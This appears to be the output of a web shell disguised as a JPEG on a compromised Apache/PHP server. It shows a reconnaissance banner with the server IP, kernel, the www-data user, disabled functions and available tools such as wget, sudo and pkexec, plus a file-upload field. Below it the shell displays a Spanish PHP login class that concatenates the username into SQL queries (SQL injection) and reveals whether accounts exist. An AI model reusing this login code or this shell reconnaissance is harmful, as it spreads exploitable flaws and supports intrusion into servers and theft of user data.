����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.144.88.107 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/apirest/clases/ |
Upload File : |
<?php require_once 'conexion/conexion.php'; require_once 'respuestas.class.php'; class auth extends conexion{ public function login($json){ $_respustas = new respuestas; $datos = json_decode($json,true); if(!isset($datos['usuario']) || !isset($datos["password"])){ //error con los campos return $_respustas->error_400(); }else{ //todo esta bien $usuario = $datos['usuario']; $password = $datos['password']; $password = parent::encriptar($password); $datos = $this->obtenerDatosUsuario($usuario); if($datos){ //verificar si la contraseña es igual if($password == $datos[0]['Password']){ if($datos[0]['Estado'] == "Activo"){ //crear el token $verificar = $this->insertarToken($datos[0]['UsuarioId']); if($verificar){ // si se guardo $result = $_respustas->response; $result["result"] = array( "token" => $verificar ); return $result; }else{ //error al guardar return $_respustas->error_500("Error interno, No hemos podido guardar"); } }else{ //el usuario esta inactivo return $_respustas->error_200("El usuario esta inactivo"); } }else{ //la contraseña no es igual return $_respustas->error_200("El password es invalido"); } }else{ //no existe el usuario return $_respustas->error_200("El usuaro $usuario no existe "); } } } private function obtenerDatosUsuario($correo){ $query = "SELECT UsuarioId,Password,Estado FROM usuarios WHERE Usuario = '$correo'"; $datos = parent::obtenerDatos($query); if(isset($datos[0]["UsuarioId"])){ return $datos; }else{ return 0; } } private function insertarToken($usuarioid){ $val = true; $token = bin2hex(openssl_random_pseudo_bytes(16,$val)); $date = date("Y-m-d H:i"); $estado = "Activo"; $query = "INSERT INTO usuarios_token (UsuarioId,Token,Estado,Fecha)VALUES('$usuarioid','$token','$estado','$date')"; $verifica = parent::nonQuery($query); if($verifica){ return $token; }else{ return 0; } } } ?>